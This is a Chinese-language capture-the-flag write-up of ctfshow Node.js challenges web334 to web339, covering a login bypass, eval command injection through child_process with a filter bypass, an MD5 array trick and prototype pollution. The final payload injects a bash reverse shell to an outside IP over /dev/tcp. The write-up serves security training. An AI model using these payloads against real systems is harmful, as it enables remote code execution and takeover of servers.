nodejs

nodejs

nodejs

web334

加上后缀解压zip后得到user.js和login.js

user.js发现username: ‘CTFSHOW’, password: ‘123456’
源码在login.js,发现登录成功会拿到flag,即重点看登录部分

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

这里分析一下,这里获取user.js的数组

var users = require('../modules/user').items;

这里分析一下,他这里name不能等于CTFSHOW,但是获得flag的条件是user等于CTFSHOW,password等于123456,但是toUpperCase可以将小写转换成大写

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

登录页面直接输入
ctfhsow
123456
即可

web335

在源码中发现可能是get传参,然后命令命令执行

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或执行Function

Alt text
里我们使用require()函数来加载child_process模块,其有这些方法
Alt text

payload:

require('child_process').execSync('cat f*').toString()

web336

和上一题一样,但上一题的payload不能用了

换一个命令
Alt text
法一:
payload:

?eval=require( 'child_process' ).spawnSync( 'tac', ['fl001g.txt' ]).stdout.toString()

小心这里的空格,没有空格可能会出错

法二:
__filename :返回当前模块文件的绝对路径
得到
Alt text

#这个可以读取文件
require('fs').readFileSync('/app/routes/index.js','utf-8')

经过测试,这里是过滤了exec,需要绕过

?eval=require("child_process")['exe'%2B'cSync']('cat f*')

把加号url编码(浏览器解析特性+会成为空格好像)
%2B --> +

法三:
还是经过学习,发现fs模块,还有列出目录中的文件的方法。

fs.readFileSync(path, options):同步地读取文件的内容。path 是要读取的文件路径,options 是可选的编码和标志选项。返回文件的内容
//列出当前目录下的文件
require('fs').readdirSync('./')

payload:

require('fs').readFileSync('fl001g.txt','utf-8')

web337

题目

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    res.end(flag);
  }else{
    res.render('index',{ msg: 'tql'});
  }

});

module.exports = router;

要传入a和b,a和b要为真、a和b长度相等,a不等于b,a+flag和b+flag在md5后相等,则输出flag

传数组来绕过,通过控制台来调试看看
Alt text

paylaod:

?a[]=1&b[]=1
或
?a[a]=1&b[a]=2

web338

#login.js
//flag
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }  
});
#utils/common.js
//利用点
module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

一道原型链污染的题

简单解释一下什么叫原型链污染:

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

输出为:

1
1
2

这是因为原型链的查找顺序是先查看父对象是否拥有这个属性,然后向上一级的.proto即原型进行查找。我们这里的代码第一次console.log(foo.bar)打印的是1这没啥问题,第二次打印的还是1是因为父对象的值还是1所以修改原型并没有对值发生改变,第三次打印是2是因为zoo.bar查找的时候没有父对象,然后继续向上找,即zoo.proto里寻找,我们使用foo.proto.bar = 2,就是给Object添加了一个bar属性,修改了原型的值,而这个属性则被zoo继承,所以最后为2。

源码中使用copy方法将请求赋给user,而secret对象继承了Object.prototype,所以可以通过修改登录的post请求修改prototype,以使得判断条件成立。

payload:

{"__proto__":{"ctfshow":"36dboy"}}

web339

{"proto":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/223.73.55.6/4443 0>&1\"')"}}

213817422521

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注